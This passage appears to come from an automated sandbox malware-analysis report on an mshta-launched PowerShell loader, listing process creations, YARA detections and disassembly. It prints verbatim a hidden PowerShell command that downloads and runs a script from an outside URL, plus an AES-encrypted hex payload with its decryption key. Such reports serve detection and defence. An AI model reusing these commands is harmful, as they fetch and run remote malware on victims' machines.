CB64430183AF5618B121490DEE43084DC3253BC82E49716867CB584156D7865E1FA9DA392090109DF6E9A6CEFCAB60BE063896FE271D5F7145798747455EBE31B24E9BAE3DDE94E125C3AAB0F1CC7DA5D7D2C49F75D3D71BE3450EDFB23086A4D618521B1EE6EA4F7759E9CFC131005524C9B65D1D3D9FCB4F3E8A222D8020E0829864F6709CEA97810C2185CB147F13C7495B150A44FE94EC3E805FBE21BAB82B15870CAE560AAE4D4D533E433ABF4E5A563B39F36B23B63195F3779B0F8E07AE51936D7659CF47354C6662908568295088267D164DBF8CD609767B8170DEFEE21B10CE5C7244C519247C7C2F9CE8D7FA4027320E443B37F498F4BCDE2E63A97AC0167DCBD9DF73193FA93B3A82859FC1C7C6A740DD7140682426D7269E3DDEB5AB9467EC828C2C24E5D9149A12D98DFF32D05203D7536888907C29CA12DFCFB29B179E5F80DF3C545318D33794FAE90BEC7C573D81530A72C3E1664C1FCD78FFE0CC509A78F2E435BEE0A9EE5E4C0F5F6825B6883A784655B387AC0A63D3779D94D06E0C3BFC63D493D83B351266304E3C6A7FE938DB9F5FFD576369C82CA0050C55C2E8E82286D9AC048EE0F6E20CF515B8D1A1268959B2D3E695204352487CF3533397B42917060A182262AA9F2EA0B93E6742C4A2C669E95CD728');$MIDMd=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((qtyVd('794A5742476F737A6A656E545246734B')),[byte[]]::new(16)).TransformFinalBlock($ZKIHj,0,$ZKIHj.Length)); & $MIDMd.Substring(0,3) $MIDMd.Substring(129)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command & {'2LT'\|ForEach-Object {SI Variable:2LT ([PowerShell]::Create()); [Void](Get-Item Variable:\2LT).Value.AddScript((([System.Net.WebClient]::New().((([System.Net.WebClient]::New()\|Get-Member)\|Where-Object{(Get-Variable _ -Value).Name -ilike 'wnd*g'}).Name)('https://pawpaws1.readit-carfanatics.com/madonna.vstx')))); (Get-Item Variable:\2LT).Value.Invoke(); (Get-Item Variable:\2LT).Value.Dispose()}}
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function qtyVd($UNYZ){return -split ($UNYZ -replace '..', '0x$& ')};$ZKIHj = qtyVd('943C2C5C46A72B5C4C8C5C1A51E4FDD0974703BCE4EDF56B369378DFB2ECC854E259560AB569239046F77EA06A763337BD3340FF80B07C3CFCE33778E61B44845B5324775EE6ECAD2D2F37DD4F8DC9D93A8ABA7267AA5EA340079FA2334C6403714460816209B0D0411244284F7B8814FD62C23E419A8D047CB9595A51FEA7A3BCA7328CC8FCAF14C3F8165E90E2486DFAD60C27534F2C51C86D7F420CBBA4ABB44CACB3574A60609ED4B1F8BBC087D26FFE66EEB68F5686820C155B78783E6E11CF5815FCD1E2F8CA8C49791C0C4DF291EA66A7712921D9C59DB6E39D4F98ED2DC1A8E7A9946079CA7BF16CE0B32D041BED47781FEB352BDF1FB6018763D773644268B71F2526F6A617A9272A9ACDB0172FF20C3D1547782E3DBE0EDEC2C049AEA1DCE8744256C6E8717D86E602BF21D022B7E481612FD0E5AD43DEF8AEFF4BB1BB463D861888792AC5CFDAC45C5AAD05BEE91DABCC7A8CE6DC0862F3E928BE382F093C9D84D38A85151EEABB858C33520B5AABA90DFF68EE69A74D113C6C05BC871865DA879842D0B54C1DB7F4958097D12CECC5F9E39C9F6EF9ADF065DDA2643775FF589BDDA148E4527B97DE7BA451AC1EE997B73B0A1625177692622E4719148456AC24DEEA746D100F63E2E62646F66B245D3EED88607AB4D8A6022FA2F645BBFA59344E4471CB907FA8E491AA033889DB9D942E3F5420FF522C4C2C6217479BAC41430765CC37214D382A23920123068E397CA5AE645C1D0119DB511F8B852EA48834469651D0EC476969F2449303E7019452064057CE45DC4E16896B015B29CB64430183AF5618B121490DEE43084DC3253BC82E49716867CB584156D7865E1FA9DA392090109DF6E9A6CEFCAB60BE063896FE271D5F7145798747455EBE31B24E9BAE3DDE94E125C3AAB0F1CC7DA5D7D2C49F75D3D71BE3450EDFB23086A4D618521B1EE6EA4F7759E9CFC131005524C9B65D1D3D9FCB4F3E8A222D8020E0829864F6709CEA97810C2185CB147F13C7495B150A44FE94EC3E805FBE21BAB82B15870CAE560AAE4D4D533E433ABF4E5A563B39F36B23B63195F3779B0F8E07AE51936D7659CF47354C6662908568295088267D164DBF8CD609767B8170DEFEE21B10CE5C7244C519247C7C2F9CE8D7FA4027320E443B37F498F4BCDE2E63A97AC0167DCBD9DF73193FA93B3A82859FC1C7C6A740DD7140682426D7269E3DDEB5AB9467EC828C2C24E5D9149A12D98DFF32D05203D7536888907C29CA12DFCFB29B179E5F80DF3C545318D33794FAE90BEC7C573D81530A72C3E1664C1FCD78FFE0CC509A78F2E435BEE0A9EE5E4C0F5F6825B6883A784655B387AC0A63D3779D94D06E0C3BFC63D493D83B351266304E3C6A7FE938DB9F5FFD576369C82CA0050C55C2E8E82286D9AC048EE0F6E20CF515B8D1A1268959B2D3E695204352487CF3533397B42917060A182262AA9F2EA0B93E6742C4A2C669E95CD728');$MIDMd=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((qtyVd('794A5742476F737A6A656E545246734B')),[byte[]]::new(16)).TransformFinalBlock($ZKIHj,0,$ZKIHj.Length)); & $MIDMd.Substring(0,3) $MIDMd.Substring(129)	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command & {'2LT'\|ForEach-Object {SI Variable:2LT ([PowerShell]::Create()); [Void](Get-Item Variable:\2LT).Value.AddScript((([System.Net.WebClient]::New().((([System.Net.WebClient]::New()\|Get-Member)\|Where-Object{(Get-Variable _ -Value).Name -ilike 'wnd*g'}).Name)('https://pawpaws1.readit-carfanatics.com/madonna.vstx')))); (Get-Item Variable:\2LT).Value.Invoke(); (Get-Item Variable:\2LT).Value.Dispose()}}	Jump to behavior

Yara detected Costura Assembly Loader

Source: Yara match	File source: 5.2.powershell.exe.71f0000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.7035056787.00000000071F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Yara detected MSILLoadEncryptedAssembly

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 8068, type: MEMORYSTR

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_02E9A0C5 push ebx; iretd	5_2_02E9A0E2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_02E9EF60 push ebx; retf 000Ch	5_2_02E9EF62
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_02E936AF push ebx; iretd	5_2_02E936EA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_02E97C2F pushad ; retf	5_2_02E97C49
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_0797AAC7 pushad ; iretd	5_2_0797AACA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_07974AF1 push FC070651h; ret	5_2_07974AFD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_079D03A2 push esp; retf	5_2_079D03A9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_08644455 pushad ; retf	5_2_08644456
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_08645821 pushad ; retf	5_2_08645822
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_08647012 pushad ; retf	5_2_08647013
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_08646C13 pushad ; retf	5_2_08646C14
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_086474F1 pushad ; retf	5_2_086474F2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_08647098 pushad ; retf	5_2_08647099
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_08646D29 pushad ; retf	5_2_08646D2A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_08645D1D pushad ; retf	5_2_08645D1E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_086479E1 pushad ; retf	5_2_086479E2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_086471F4 pushad ; retf	5_2_086471F5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_086429DA pushad ; retf	5_2_086429DB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_086469A1 pushad ; retf	5_2_086469AB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_086415AD push esp; retf	5_2_086415AE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_08640DB6 pushad ; retf	5_2_08640DB7
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_08641A53 pushad ; retf	5_2_08641A54
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_0864725D pushad ; retf	5_2_0864725E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_08645ECC pushad ; retf	5_2_08645ECD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_086472B5 pushad ; retf	5_2_086472B6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_0864734C pushad ; retf	5_2_0864734D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_08642B5C pushad ; retf	5_2_08642B5D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_08648327 pushad ; retf	5_2_08648328
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_08646B37 pushad ; retf	5_2_08646B38
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_08644330 pushad ; retf	5_2_08644331
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_08645BE5 pushad ; retf	5_2_08645BE6

Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
